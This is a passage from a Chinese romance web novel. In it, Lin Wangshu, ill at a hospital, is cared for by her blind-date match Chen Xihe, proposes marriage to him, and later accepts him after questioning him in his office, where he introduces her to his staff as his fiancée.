她面对着无边黑暗,终于忍不住,哭了出来。虽然只她一个人在,林望舒还是压抑着哭声,哽咽抽泣。
4. 第三次见面
看着手机中半个小时前的消息,陈羲和没再等到林望舒的任何回复。
他重重靠向椅背,吐出一口气,眼睛紧盯着一处发呆。
一定是很棘手的事,不然她不会这么为难地拒绝这次约会。甚至连抽出空回消息的时间也没有。
一个多小时前收到林望舒消息的时候,陈羲和已经在着手准备好了一切,只等她来了。虽然最后还是不幸泡汤了,但他也不因为被鸽了而生气。他只是在想,又要过多久才能见面呢。
长久的,陈羲和一个人待在房间,没有什么声响。
直到门锁传来声音,是母亲孟惠。
她端着一盘水果拼盘走了进来,但显然意不在此。
“阿和,你忙不忙啊?”
“怎么了?”
孟惠女士脸上还露着笑,从他回来到现在一直这般。
这也不怪孟惠。平时陈羲和都是一个人在外面住,工作多的时候甚至直接睡在公司。
这些年,父母两人总是担心他一个人只知道工作,在外面还照顾不好自己,到后来又开始唠叨着要他相亲,结婚。
渐渐,陈羲和也不常回了家。
今天约会取消后,纯属离家近,他干脆直接回来把票给了父母。
孟惠女士和陈父陈怀诃当时对视一眼,默契十足地无声交谈——这是被女孩子鸽了,才想起他们两个了吧?
但他们二人也不恼。毕竟在孟惠陈怀诃二人眼中,陈羲和都愿意主动去相亲,已经很不错了。更何况这次都还知道去约女孩子了,那结婚不就是指日可待嘛。
夫妻二人又将这迟迟不结婚的陈羲和给看顺眼了。
孟惠女士这边答应好去看音乐会了,才想起来还有一件事呢。
她把水果放在陈羲和书桌上,才娓娓道来要麻烦他走一趟。
好友秦乔前阵子住院了,本说今晚去探望一下的,现在有了音乐会嘛,那当然就是顺便让陈羲和先去医院看望一下了。等明天找时间去,反正也不是很严重。
陈羲和听完心里也没什么起伏,反正也没什么事了,直接答应下来。让高特助买好一些看望的东西,就出发了。
秦乔是景承熠的母亲。这次受伤住院其实也不严重,只是练舞时摔了一跤,但景承熠父亲却担心的紧,非要让她住院。而偏偏秦乔不喜欢冷冰冰的私人医院,选择了市中心医院,就这么住了两天。
市中心医院离他们住的别墅区还是有点距离,陈羲和一路上拿出随行电脑开始看起了文件。
……
病房中,景承熠还在陪着秦乔聊天。陈羲和没想到这个点了,景承熠都还在医院。
他跟着待了一会儿陪着聊天,但又一次被问起了相亲这件事。
陈羲和拿起桌上景承熠削好切碎的苹果吃了起来,“是去相亲了,我爸妈不也催的紧。”
秦乔“切”了一声,眼睛上上下下打量陈羲和说:“之前让你去,打死都不干。你不愿意做的事,谁还能拦着你”了?”
她又靠近陈羲和低语:“哎,跟阿姨说说?保准不告诉你妈。”
一旁任劳任怨的景承熠却不满了,“你们偷偷摸摸说什么了,我这又是端茶倒水的,做牛做马,什么是我不能听的?”
秦乔看着自己儿子搞怪地笑了一声:“告诉你干嘛,你个大嘴巴。”
景承熠:……
看见景承熠在秦乔这里吃瘪还不敢造次的样子,陈羲和扯嘴笑了一笑。他也没故意放低声音只让秦阿姨听到,正常大小声音说着:“也没什么不能说的,第一眼就是很喜欢她,见过面后更喜欢了。”
热烈、直白,陈羲和一贯的作风。
年轻人这么张扬就是好啊,秦乔一拍大腿这般想着,又看了看自己不争气的儿子,女朋友就不说了,连个喜欢的人都没有,想想就来气。
落在景承熠眼里就是,母亲听完陈羲和的“恋爱史”,感叹一句年轻真好,并顺带拉踩了一下她的亲儿子。
景承熠:靠!读书比成绩,长大比事业,现在就连比找对象我都不如陈羲和了。
陈羲和没再掺和母子二人的“争锋相对”,寒暄几句,便作告别。
夜晚的医院已经人满为患,周遭弥漫着散不去的消毒水气味,刺鼻难闻的附着在周围。
下了电梯,陈羲和从旁边快步朝问外走。路过门诊,正想给助理打电话,他似有所感地看向一旁走廊。
四周模糊,视线独独聚焦到一个人身上。
是林望舒。
她一个人以一种极其不舒服的姿势靠坐在走廊座椅上,微微侧着身,弓起背。脸颊埋没在散乱乌黑的发间,一只手输着液一只手捂着胃,面容惨白,嘴唇干涩。
陈羲和快步走过去,带着一种他无暇顾及是什么的焦躁不安。
确认是她后,慌乱的心止不住地乱跳。
微眯着眼,林望舒感觉有人碰了碰自己小臂,她懵懂抬头,对上了一双眼。
陈羲和单膝跪地在她面前,一只手拍拍她的手,另一只抚过盖住她大半张脸的头发,先感到的却是一片滚烫的皮肤。他眼中晦涩不明的情绪,林望舒也看不懂。
她发懵一般,还不懂为什么陈羲和会出现。
“你怎么在这里?”
方才一直在输液,林望舒忍着疼了好一阵子的胃,嗓音沙哑。说完就是一阵咳嗽。本因高烧而发烫的脸颊现在更甚。
陈羲和起身坐在她一旁的椅子上,扶着她坐好再拍拍她的背,没有回答她的问题,而是先问了:“怎么发烧了?一个人待多久了?”
“不知道。”
林望舒眼睛盯着斜前方的地板,发烧的脑袋不是很清醒,只是流露出一点点的脆弱,被她隐藏的很好,却还是让陈羲和发现了。
“我想睡觉”。
不像平时冷冷有时带着些疏远的语气,反而像是在亲近的人面前才会流露出的轻松。
陈羲和屈了屈身,往下坐了一点,后背靠在椅子上:“睡吧。”
他揽过林望舒的肩,将她头靠在自己肩膀。
她不知道现在两人是什么动作。脑袋迟缓,沉重的眼皮只想合上。林望舒沉沉睡下,呼吸放得很清,像是累极了。
感受着她的气息,陈羲和实在想不到,她一个人怎么把自己照顾成这样的,这次是他刚好遇到,那要是没有呢……以前的她又是怎么挺过来的。
陈羲和不敢细想,感觉到肩上的人睡熟。他给高特助发消息,让他带上车上的外套再去买点养胃的粥。
林望舒这一觉睡了很长时间,再醒时是护士来取针。
胃里翻滚的酸意和难受的绞痛早已缓解,只是输过液的身体还有些发冷,正想抬起另一只手捂一捂,才发现,身上披了一件男士薄外套,带着熟悉的雪松香味,使她久睡后越发清醒。
“醒了?还难不难受,我让助理带了点粥,起来吃点垫垫肚子。”
她抬眸,看向了陈羲和那张极具迷惑的脸。他绷着下颚,脸上的担忧难以忽
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略,还有些别的,捉摸不透。
林望舒点点头,坐直了身体。才发现靠着他睡了这么久,他也就这么坐着不动陪着她。
内心柔软处陷下一块,她急切地想确认什么,但心中一闪而过的思绪,她并没有抓住。
从一旁拿过来的蔬菜粥,温暖软糯。陈羲和拿起勺子就要喂她吃。
刚刚并不明白的心更乱了。
“我…我自己可以吃……”她拿过他手中的勺子,碰到陈羲和的手,温暖有力量。
她一直都觉得他的手很好看,白皙修长。比她的大很多,感觉可以轻松圈住自己的。
又是外套,又是暖粥,还陪了她一夜……
忽而她觉得眼眶有点湿润,心里酸胀胀的。弥漫的消毒水味道让她呼吸有点困难,只好自己张嘴,深呼吸来缓解。
原来不是一个人,可以这样的好啊。
不用学着强撑,不用一个人面对空荡荡的房间,不用一个人大半夜来医院,不用独自输液害怕得不敢轻易睡熟。
原来可以每一句话都有回应,原来可以不用说,也有人知道你需要什么。
真好。
她忽然哽咽起来,不争气的泪水在眼眶中打转。
她不是个爱哭的人,好些时候总是默默忍耐,压抑情绪,等到夜深人静,再悄悄发泄,无人知晓地释放出来。
此刻,林望舒觉得自己肯定丢脸极了,狼狈一身,带着病容坐在这里遇到他,现在还哭着脸,眼睛应该也肿了。这不是她想要的见面。
陈羲和接过她手里的粥放在一旁,再揽过她肩膀,垂眸和她对视:“怎么了?输完液还很难受吗?”
“没……有…”细如蚊声。
她想了想,这么好的人,她不想再错过了。
“陈羲和…”她声音还是哑哑的,带着轻微的鼻音,“之前见面你说,你来相亲是报着结婚和相守一生的目的的。你这话,现在还作数吗?”
陈羲和心头一颤,那种暗自生长的情愫扑面而来,内心的渴望做不得假。他急求确认什么,但又害怕吓到她。
他不知道林望舒到底是如何想的。是觉得她好想一直在一起,还是因为今晚生病,被人照顾有了依靠,脑袋不清醒说出了这样的话。
林望舒见陈羲和没回复,以为自己说的还不够明显,斟酌一下措辞:“我就是想问问你,可以和我结婚吗?”
他撞入林望舒湿漉漉的眼,清澈明亮,带着十分的认真。
陈羲和想,没人能在这种时候直视这双眼,赤裸纯粹,透露着浓浓的眷恋。最终,他也败下阵来,靠近拥住了她。
“林望舒…”
她仰头承接这个拥抱,下巴抵在他肩头,耳边传来陈羲和的声音,酥酥麻麻。
“嗯?”
“你是认真的吗?”声音低低的,带着从未有过的严肃认真,“我知道你现在还在生病,可能因为我今晚照顾了你……所以,才产生这种“想要依靠”的想法。”
“我害怕你没办法在此刻确认你内心。过了今晚,你好好想想,是不是真的想要和我结婚。”他抬起手揉了揉林望舒耳后散乱的发,轻缓安抚。
“但我想回答你。”陈羲和身体后退了一点,二人不再紧紧相拥,他看着林望舒,郑重地说,“想,我想和你结婚,只有你。”
一字一句砸在林望舒心间。怦怦怦怦,分不清是谁的心跳声。
林望舒没想到,期待中的第三次见面,是在医院。她在向他求婚。
5. QAQ
第三次,陈羲和将林望舒送回家,这一次到了她家门口。
“你要不要去喝点水?”林望舒犹豫着问。
楼道间没有其他人,室外黑乎乎一片,他们站在靠近窗边的位置,风过沙沙作响,时不时能听到街道车辆行驶而过。
他们沉默着,一路上无人开口。
林望舒觉得现在的处境有点莫名的尴尬,只好想着说点什么缓解。
陈羲和眼睛微眯,戏谑地俯身和她平视:“林小姐,我是以什么身份进去呢?”
一瞬间,周边流动的空气忽而静滞,连呼吸都变得紧促起来,林望舒往后瑟缩一下屏住呼吸。
太近了……
瞥见林望舒抿唇有点呆样子,陈羲和继续玩笑道:“毕竟还孤男寡女的……”
没等陈羲和把后面的话说完,林望舒迅速转身进去然后关上了门。
只听见“砰”的一声,伴随着林望舒不冷不淡的一句:“我就是开玩笑的。”
陈羲和后知后觉,身边人早已消失,他就这么被关在了门外。
隔着门,陈羲和继续笑着道:“我也开玩笑的。好好休息。要是不舒服,记得给我打电话,不要一个人强撑了。晚安!”
他知道她没走远,还待在门口。说完刚抬脚准备转身下楼,身后的门却打开了。
只露出林望舒一整张脸。
“好,你回去的路上开车小心。还有……”
“今晚我说的事,我会好好想清楚的。晚安!”
*
周末两天,林望舒待在家里哪都没去。
昨天生病发烧的时候连带着胃也很难受,最近她就一直自己煮粥喝,中午再随便炒点小菜吃。晚上连夜都不熬了,早早洗漱完上床,规定自己十二点之前一定要睡觉,就连第二天睡到自然醒不过也才八九点。
确实蛮有作用的,最近自己神清气爽的。她觉得自己的作息已经好久没有这么规律健康了。
和陈羲和上次医院见过后,两人微信上基本只有几句早晚安问候,和他关心她恢复的怎么样。
除此之外,他们都默契地对那晚的事闭口不提。
林望舒知道,这是陈羲和想让她自己静下来好好想想,不让他现在的一言一行左右她的想法,给她时间慢慢梳理,判断。
林望舒时不时会想起那晚对陈羲和说的话,哪怕这么久过去,她也没有一丁点后悔。
她不得不承认,从第一次到现在每见他一面,便欢喜一分。
除去,他对她很好这点,单从陈羲和这个人来看,也是一个很值得在一起的对象。
性格内敛温和,不会过于强势独行,让人能有自己的自由空间;工作能力也很强,不然也不会一手接管下至臻,建立自己想要的品牌;长相更是很在她的审美点上,五官英朗清晰,柔和与锋利中和得很好,不会过于冷漠也不算很让人亲近;家世也是……无可挑剔。
只是不知道他家里人对她什么想法,毕竟他们这种“豪门”应该总讲究门当户对……
脑子里一直在理思绪,想了想他们二人,林望舒干脆拿出电脑慢慢梳理,一段段打下字来。
下午五点,她终于整理好了。林望舒在家用打印机把写下的几页打印下来,规规整整放进一个文件袋里。
就等明天了。
*
孟惠女士觉得最近的陈羲和很奇怪。
以前家都不回的人,现在天天住在家里。
事出反常必有妖,她觉得陈羲和一定有什么事在酝酿。
她给秦乔打了个电话,准备两人约约,诉诉苦。一接通,刚说完陈羲和的不对劲,就又从秦乔那得到了个重磅消息。
“阿和不是有喜欢的女孩子吗?怎么还天天待在家里?”电话那头的秦乔还对着镜子护肤,手在脸上不停的捣鼓。
“等等,他什么时候有喜欢的女孩了?他不就是突然去相了个亲吗?有多喜欢?我以为他们还只是在接触试探的地步……”
那边口无遮拦的秦乔突然才意识到,原来陈羲和根本没跟孟惠说。
孟惠顿时觉得晴天霹雳,如鲠在喉。
难过的不止是陈羲和不告诉她……她只是想起了上次音乐节的票,怎么最近陈羲和还天天待在家里不出去,不会是那个女生瞧不上他吧。
哎,儿子这是失恋了。初恋还没开始就扼杀在了摇篮里,太可悲了。
“哎,看来阿和也是尝到爱情的苦了……”
秦乔不明所以,前些天在医院看到他还不是一副春风得意的样子,怎么这才几天过去就要失恋了,怀疑地问:“啊?不会吧?”
孟惠再一次鸽了和姐妹的约会,转头让家里阿姨给陈羲和做了一份他最喜欢的糖醋小排,又从酒窖里拿出一瓶珍藏许久的红酒。
失恋,还是借酒消愁的好啊……
再次进入陈羲和房间,孟惠放轻声音不去打扰他。一开门就发现,坐在沙发上的陈羲和什么事也没干,只是呆若木鸡地盯着手机。孟惠女士暗自慨叹:哎,可怜我儿啊。
当然呆若木鸡是孟惠的内心所想。陈羲和只是才睡醒,用手机看了一下邮箱里的文件。
余光瞥见孟惠端着东西进来,下意识回头看了看她。
一手糖醋小排,一手红酒……
陈羲和很不理解她这样的行为:“你?红酒配糖醋小排?”
孟惠心梗,皮笑肉不笑:“你吃排骨,酒我喝。”
陈羲和这张嘴,怎么配得上这样的好酒。
孟惠又心中叹起气来:儿媳就是这样被说没了的吧,怎么没遗传到他父亲半点呢,连追女孩子都不会。
心里这样想着,面上却不露一点嫌弃。
孟惠女士切换好语气,心平气和地对陈羲和说:“阿和,妈知道你心里难受,但我们不能总这么悲观。你要振作起来啊,被拒绝了也没事,大不了我们再继续追求。实在不行,慢慢走出来,总不能一直这么消沉下去啊。”
听着母亲絮絮叨叨一大堆,陈羲和渐渐回过味来。孟惠女士好像以为他失恋了。
陈羲和:……
“妈,你是不是…”误会了。
孟惠根本不给陈羲和解释的机会:“不用强撑,妈都懂。”
半晌,室内终于安静下来。
被迫听了一大段说教的陈羲和中得到了喘息的机会:“谁告诉您,我失恋了?”
孟惠被问的一愣,正眼看着陈羲和。
“你秦乔阿姨说,你喜欢之前相亲的那个女孩,是吧?前几天音乐会没去,这几天反常似的待在家里,大门不出二门不迈的?这不是失恋是什么?”
陈羲和捞起一旁的糖醋小排,依旧是番悠然自得的模样。
“音乐会没去是因为她有事。还有之前你们不是很想我回来住嘛,我这才住几天,又不乐意了。哎,您二老真难伺候。”
说完也不管孟惠女士什么反应,自顾自地吃起糖醋小排来。
孟惠:???
“那你们现在什么进展?相亲对象?男女朋友?”
陈羲和轻唔一声,这个糖醋小排真好吃。
看着孟惠对他不耐烦的表情,总算是开口了:“可能……还要复杂点。”
毕竟,他还被求婚了。
孟惠真是不知道自己怎么生出这么个闹人心的孩子,话都不说明白点。她突然脑中闪过一个荒谬的想法。
“你……该不会是备胎吧?”
陈羲和:……
他看在糖醋排骨的面上,没再计较,手指压了压太阳穴面无表情但有些咬牙切齿地开口:“不是!总之您就别管了,我们好着呢。”
*
Moon:【之前那件事,我想当面和你聊聊
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。你待会到中午这段时间,方便吗?】
这个季度的事情已经告一段落了,最近制航科技工作不忙,林望舒平时也就带带实习生。要是有私事,中午早退也没关系,总体来说机动时间还蛮充足的。
正好最近有空,她干脆去找陈羲和。
时序:【上午还需要开个会,会有点晚,我让高特助接你来我公司?】
陈羲和罕见的到点了还没进会议室,拿着手机在这里回消息。
站在一旁的高特助,以为陈家有什么要紧的事情,毕竟还一直拿私人手机。
Moon:【不用,也没多远。我自己过来就行】
时序:【好,不急,注意安全】
也没有……很着急。
还不到十一点半,林望舒就悄悄从工位离开了。
至臻和制航坐地铁不过三个站,十几分钟就能到。她一路上也没看手机,一直在想待会怎么才能不尴尬的把话说出来啊。
走进至臻集团,前台打完招呼,知道她是来见陈羲和的,便问有没有预约。
“稍等。”
林望舒拿出手机,才看见十几分钟前,陈羲和发的消息。
【快到了说一声,我让高特助下来接你】
Moon:【抱歉,路上没看消息。我已经到了QAQ】
本以为他开会不会这么快回复,没想到下一秒消息就弹了出来。
【我让他下去了,不用道歉QAQ】
啊啊啊啊啊他干嘛学我!林望舒觉得陈羲和从方才到现在,一直在逗她!
而同时会议室十几个人,稀奇地看着他们的老板,这次会议他居然把手机带到会议室了,刚刚消息提示音想起,所有人都在想到底谁没静音,没想到居然是老板!?
暂停会议后,他还坐在位置上拿起手机聊天。
底下几人两两对望,面面相觑。余光看向陈羲和,居然发现工作起来不苟言笑的陈总,现在扬了扬眉,勾唇笑了笑,一双桃花眼更眉目多情起来。
?这不对吧。
“抱歉打扰你了,有人来接我了。”
林望舒和前台一说完,就听到不远处有人叫她。
“林小姐您好,我是陈总的私人助理,高奇鸣。”
就这样,林望舒在前台几人的面前,被总裁的私人助理请了进去。
一般合作伙伴来至臻都是看预约,然后前台带人过去。就算是大人物,也都由部门的人来。这么久以来,还没见过陈总的私人助理把人带进来的。毕竟据总裁办和豪门圈得知,陈总私生活很干净,也没有什么女伴女友。
顿时,就见有人在公司大群——“至臻何时涨我工资(无老板版)”里发消息:
【刚刚高特助来楼下接了个女生!!!人真的巨白巨好看!特别有气质!有人知道什么内部消息吗?】
还附上了一张林望舒和高特助的背影照。
群里炸开了锅。
还在电梯的林望舒自然不知道这些,刚刚经过电梯里一波又一波的人,觉得自己像被观赏的猴,看得她有点不自在了。
最后还是下定决心,翻出包里的口罩戴上。
到达顶层,出电梯就是满满当当的工位,总裁办的办公区域比她想象中还要大,一个茶水间都和制航的好几个工位差不多。不过还好大家都在开会,现在这里没什么人。
她直接被高助理带进陈羲和办公室。
林望舒叹了口气,还好戴了口罩。
陈羲和现在还在开会,一时半会还结束不了。林望舒待在办公室,一个陌生的地方让她有些不自在,她更是没怎么走动,坐在沙发上喝高特助刚刚去茶水间给她泡的咖啡。
一个人处在集齐安静的环境中,难免无聊。
林望舒就这样靠在沙发上发呆,临近中午,眼皮抵挡不住困意,耷拉了下来。
6. 不是女朋友
拖着开完会后沉重的身体回到办公室,陈羲和却不觉得累。不同以往,这一次……他在意的人在等他。
手握上门把手,又倏地松开。
他站在门口,理了理衣服,将纯白衬衫上本就不存在的褶皱抚平,又开始调整领带。西装裤穿在他身上,更显得腿长笔直,但他此刻有些忐忑,不自在的原地踱步。
迈步走进,想象中坐在沙发上的人,此刻却以一个不是很舒服的姿势斜靠在上面,像极了那晚在医院。
心又软了下来。
陈羲和没料到她睡着了,原先做好的心理准备成了一场空,不自觉地他松了一口气。
又看了看林望舒,陈羲和去到休息室拿来一床毯子给她盖盖。
屏住呼吸,小心翼翼。他蹲在林望舒面前,两人靠得很近,他能清晰地看清林望舒脸上的绒毛。背着光,太阳暖烘烘地照在她背后,铺上一圈金光。
很平常,很美好。
她睡相很好,就很安静,乖巧。这点柔和,舒缓了平时流露出的冷淡。
陈羲和就这样看着睡着的她,静静陪着她。
快十二点了,沙发上的人还没有要转醒的样子。
来的时候还有点早,她应该也还没吃饭。
陈羲和抬手轻推林望舒:“林望舒。”
也不知道她睡眠是好还是不好,就这样叫了她一声,便醒了。
林望舒睁开眼坐起身缓了缓。
她总是这样,每次睡醒都会有种不知天地为何物的感觉,需要点时间回笼思绪,她总是要先坐着再看着一处发呆。而这个时候,她也最没什么防备。
“睡懵了?”陈羲和被她发懵的样子可爱到。
抬手揉了揉她脑袋。
林望舒不满意地甩了甩头,躲开他的手掌。
她忽而意识到不对。
哦!现在她还在陈羲和的办公室。对,她来找他了,是说上次的事。
林望舒又觉得自己好丢脸,在他办公室的沙发上居然都能睡着!肯定是作息太好的缘故,毕竟每天都在保证午休。就是不知道,自己的睡姿如何,刚刚侧着睡的,应该没流口水吧……
趁着陈羲和不注意,她不动声色地用余光看了看。
嗯,没有,很好。
却不知道,即使没直视她,陈羲和的注意力也没从她身上移开过。不明所以,不过上次她就这么思维跳脱很快,陈羲和也没过问。
“现在几点了?我感觉我睡了好久啊。”
“没到十二点,待会说完一起去吃个饭?我订好餐厅了。”
这话感觉……好像就知道她会答应一样。林望舒呆滞地点点头闷声道:“好”。
“去书桌那聊吧,正式点。”
陈羲和给她拿来一把椅子,一坐下,就见坐在他对面的林望舒把刚刚放一边的口罩又戴上了。
他不解地挑眉:“为什么戴口罩?”
林望舒有点不自在地躲避视线,她想了半天也编不出一个理由,最后还是放弃了。
“你别管,我有我自己的节奏。”不算小声,但说到最后还是心虚地气势减弱了。
“行。”陈羲和有些意外地勾唇一笑,浅显不易察觉。
捣鼓半天,林望舒把夹在包里的一张A4纸拿了出来,但不留痕迹的避开陈羲和,没让他看到。
“咳咳,我仔细考虑过了,也列了几个问题需要你回答一下,可以吗?”
“好。”
林望舒实在觉得这种公事公办的感觉,在他们两人之间有点奇怪,但目前来说是她能想到的最好方式。只是希望,她不会被陈羲和“另眼相待”。
“嗯…第一个问题……”林望舒妄图将整个脸隐藏在纸张后面,“你性取向……是什么?”
救命,还好戴着口罩,不会让自己太过尴尬,她简直不敢看陈羲和的眼睛。
听到第一个问题的陈羲和:???
他扶额叹息,压抑着愠怒:“女。”
正当林望舒觉得他不会再回复,准备问下一个问题的时候。一种幽怨的声音飘进入耳。
“林望舒小姐,是我表现得还不够明显吗?”
SOS,这不是怕你骗婚嘛。
当然这只是林望舒内心独白,她还没大胆到能对着陈羲和说出来。毕竟,一个男人被人质疑性取向,好像真的很丢脸诶。
她笑着打哈哈,赶紧问下一个问题。
“第二个问题,你有没有什么出国的白月光?或者爱而不得,曾经暗恋过的人?”
“没有。”
陈羲和不得不佩服林望舒,连这一层都想到了,感觉她是霸道总裁小说看多了,先入为主。他居然觉得接下来不管林望舒问出多么奇怪的问题,他也不会觉得奇怪了。
“有没有什么不良嗜好?”
“没有,我是中国好青年,恶习一律没有。”
“好,那你抽烟喝酒吗?”
“不抽烟”,又想了想,“会喝点酒,节假日家里或和朋友小聚的时候;工作应酬可能会有,但不会喝很多,不至于醉。”
到此为止,对于陈羲和的个人情感和生活习惯方面,是很符合她对一个优质对象的要求的。
嗯嗯!满意满意!
……
“最后一个问题,你对婚姻和未来的看法是什么?”
这次,他不再像先前几个问题一样,很迅速地做出回应。
如果说前面只是对个人行为习惯的考查,那现在这个问题,就是看两人的三观是否一致。
良久,陈羲和才郑重地说:
“我想,婚姻是人生中很重要的一部分。前半生都囹圄在原生家庭,长大后脱离原先的保护层,我们才能成为独立的个体,组建另一个家庭;当然婚姻并非必需品,我更愿称之为添加剂,它并不能决定未来的深度,但确能到达个人无法触及的宽度。”
“我对婚姻是绝对的忠贞,这点你可以放心。至于未来,规定的确切计划不算有,过于思考未来对我来说有些空想主义。像之前的我会说,未来就是希望公司平步青云,良性发展;现在,如果可以的话,我希望你能参与我的未来。”
他……这算在告白吗?
陈羲和眼神温柔坚定地看向她,无声宣誓。
“好,我答应了。”
陈羲和有种不真实感,生平第一次令他欢喜的人,真的答应和他结婚了。
“那你答应了,能不能别把脸挡住了,我想看看你。”
林望舒,没再扭捏,最无所措的时候已经经历过了,她放下纸张,摘下口罩,回望陈羲和的眼。
不知是谁先笑的,四目相对时,两人都是说不出的欢喜。
“像你们这样的家庭,需要签婚前协议吗?”林望舒问。
没想到她还会这样问,“不用,但如果你有需要的话,可以。”
思考良久,林望舒还是觉得签一个比较稳妥。
她不确定这场婚姻的最终结局是好是坏,如果一拍两散了,她也不会占对方一点便宜,要干干净净的离开。
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“那还是签一个吧,能把我刚刚那些问题和你的回答都写进合同吗?还有一件事,以后不管吵架还是什么非原则性问题,不要动手,也不要轻易说离婚这样的话。”
她轻叹一口气:“我希望之后的生活不要有太大的波动和改变。”
“可以,你的一切想法我都尊重。”他又低头拿手机发消息,“我让人尽快拟一份合同。”
又商量了一下结婚事项。两人不约而同地决定,先领证,等明年工作不忙了再举行婚礼。
只是她没想到陈羲和做事一直都要这么有效率,连结婚也是。
她本来想说这两周随便找个空闲时间就可以领证的,但他非要就近让人算个好日子再去。
他对这件事真的很负责上心。
“先不说这个了,饿不饿?出去吃饭吧。”
“好。”
走到门口,林望舒忽而想起什么。
陈羲和就见她突然折返回去,把刚刚摘下放在桌上的口罩又戴上。
“他们现在应该还有人在吧,不戴口罩也太尴尬了。”
她怎么这么容易害羞。
陈羲和挑眉看她,“那可能以后来公司找我都会这样,要不要提前适应一下?”
“啊?怎么适应?”
顺势,陈羲和握上了她垂在一边的手。
“牵手。”
带着薄茧的指拇先是停靠在她手腕,陈羲和见她不排斥,握着手腕的掌慢慢下移,碰到她指尖,不容置疑的和她十指相扣。
下一瞬,陈羲和带着她走出办公室。
才刚开完会不久,现在还没到下班时间,总裁班众人各司其职,都安安静静坐在工位上。
平常陈羲和总是最后一个下班,但现在他深邃冷然的脸乍然出现,无不掀起一番波浪。更令人震惊的是,旁边还牵着一个陌生女人。
她着一身雾蓝色束腰长裙,栗棕色微卷长发披在肩头,白皙肤色在黑色口罩衬托下越发晃人眼,那双眼却是最出色的一处,眼眸明净,反而尾部上挑,清冷中不乏裹挟一股妩媚。她周身点缀的装饰不多,偏偏这样才配得上她出尘的气质。
两人就这样牵着手,毫不顾及地闯入众人视线。
目光汇聚,让人有些许的不自在。
下意识,林望舒回握陈羲和的手也紧了几分。两人贴的很近,就同才热恋的情侣一般。
总裁办的人何时见过这种稀奇场面,尤其是他们在公司群里看到消息说,高助理有专门接人去见陈总。
不远处,一个胆子大点的女生开口问:“陈总,这位是您的女朋友吗?”
虽说陈羲和工作起来十分严格,但大家都知道他私下很好说话,平时总裁办员工也没少和他开玩笑。
至于问他私事……之前也没感情方面的事可问,大家都自然而然略过这一部分了。
乍然听见有人问起,其余所有人都等待着陈羲和的回答,包括林望舒。
前者是上班已经这么无聊了,总得八卦一下吧,更何况还是他们没什么绯闻曝出过的大老板的八卦,有那么点点谈资也是有意思的;后者是因为,觉得二人关系说不清道不明,有点复杂。
没做什么思考,陈羲和握紧林望舒的手。
“不是女朋友…”他在回答适才的问题。
林望舒说不出来这是什么感觉,慌乱的心好像一下子坠落,空落落的压抑她的情绪。
空气似乎静了一瞬,却在接下来这句话后,澎湃沸腾。
“是未婚妻。”
7. 领证
—“不是女朋友,是未婚妻。”
陈羲和虽是在回答其他人,但目光却始终停留在林望舒身上。
顿时至臻集团顶层一片热闹。恭喜,祝福声奔涌而至。
林望舒笑着对他们点头示意,身体却兀自靠近陈羲和,无声催促他,赶快走出去,逃离这里。
离开时,陈羲和带她走了专用电梯,不会再碰到无关的人了。
电梯内,林望舒松了口气。
跟他一起在公司也太惹眼了!差点以为自己进的娱乐公司。
林望舒简直觉得今天戴了口罩是她此生做过最明智的决定!
还暗暗在心里夸耀自己一番,决定以后来至臻都要把口罩焊在脸上!却在上车的时候终于反应过来,既然有专用电梯,为什么高助理接她的去顶层没有走专用电梯?
看着旁边云淡风轻,准备导航开车的陈羲和,林望舒还是直接问了出来。
“停停停,可以走专用电梯,那为什么我上去的时候没走?高助理,忘了?”
陈羲和云淡风轻的瞥了林望舒一眼:“哦,那倒没有。我说的不用走。”
“为什么?”
林望舒心里想过一番,已经给陈羲和找好“台阶”下,但他偏偏没走。
“我想让别人知道,你来见我了。”
啊啊啊啊啊救命,原来今天真的只有她一个人的尴尬。
久久没等到回应,陈羲和完全侧过身看她,瞧见她脸上的不自在。
“首先,我有信心你能选择我,其次就算现在没有,我也不会放弃追求你。再而,你能来找我,我很高兴,我想让其他人知道,我喜欢的人来见我了。”
这是林望舒第一次在他口中听到“喜欢”,这算是告白吗?他怎么这么直白就说出来了……
燕蝶飞过,心乱如麻。但此时此景,她确切知道,自己也同样“喜欢”他。
“你这么惊讶是做什么?”说着话却还不正经地靠近她,鼻尖相距不过一拳。
林望舒不答,匆匆转过头直视正前方,假装心无旁骛。
“那还有你刚刚在总裁办说的话!太不正经了,下次不准这样说了。”她着重加重了“不正经”三个字,妄想陈羲和知道不仅是在公司,还有刚刚靠近她逗她,都很不!正!经!
他慢悠悠退开,不甚在意地说,“哦,那我不说了。反正下次再来,就不是未婚妻了。”
林望舒,简直不想理他。心中懊恼,怎么之前没发现他是个假正经。
……
“啊啊啊啊啊我天,你快看公司大群!”
“‘不是女朋友,是未婚妻’?这居然是大老板说的?!”
陈羲和两人走后,公司大群炸开了锅。无一不在讨论着陈羲和刚说的话。
大家也委实没想到,寡言淡漠的老板谈起恋爱居然是这样的。不对,应该是谁也没想过他还会谈恋爱,毕竟总是流传陈家大少爷陈羲和素来都是工作第一位,不近女色。
“没想到老板平时这么低调一个人,谈起未婚妻就如此高调了。”
不止是总裁办,几乎全公司的人都知道了这件事,还流传出好几张二人牵手走出去的照片。
暂时下班的高奇鸣在群里收到了无数个艾特,甚至私信都炸了。
高奇鸣:……
老板的事我也不知道啊,别问我。但他还是无意中透露了一些。
高奇鸣:“老板娘可好看了,和陈总真的天生一对。”
适才前台为数不多见过林望舒真容的人也站了出来印证:“我作证!老板娘个子高挑,温温柔柔的!感觉很是好相处。不止是外貌,就连声音也很好听。”
说完又发了几个哭的表情包。
“当时她还来问我怎么见陈总,我居然跟她说需要预约啊啊啊。”
公司这头这样讨论,又把重点放到了,林望舒究竟有多好看上面。
被议论的二人毫不知情,还在江边的餐厅吃饭。
自然而然,两人相处的过程中,不会再像初次见面那般无措。
等待上餐时,林望舒看向江边。
远远几点,几个小人在江边你追我赶,似乎是跑累了,又在捡石头玩。从她这个视角看过去,就像几个移动的小点。
“月月。”
林望舒一回头就看见陈羲和让人送来的一束花。
一束洋桔梗,明净纯白。
“上次音乐节想送你的。”
他手握缠绕着丝带的花束,眼神略过一朵朵花,像是在检查是不是每一小枝都如此纯净。
“没想到,这次见面才能给你。只可惜,今天不是自己去买的花了。”
沉静江水,时不时风过,泛起涟漪。江面上铺色金光,粼粼波动。
亦如她此刻的心。
“你都是这样吗?”她接过,捧在面前。
“什么?”
她低头闻闻,淡雅清幽,不算浓烈,恰到好处令人畅往。
林望舒抬眼看向他:“喜欢送人花啊?”
“没有,只想送给你。”
一个不抱有希望被回答的问题,却又一次毫不顾及撞上心尖。
林望舒有时候不得不感叹,他真的没有谈过恋爱吗?为什么总是能恰到好处的撩拨她一下,情话绵绵而又不自知。
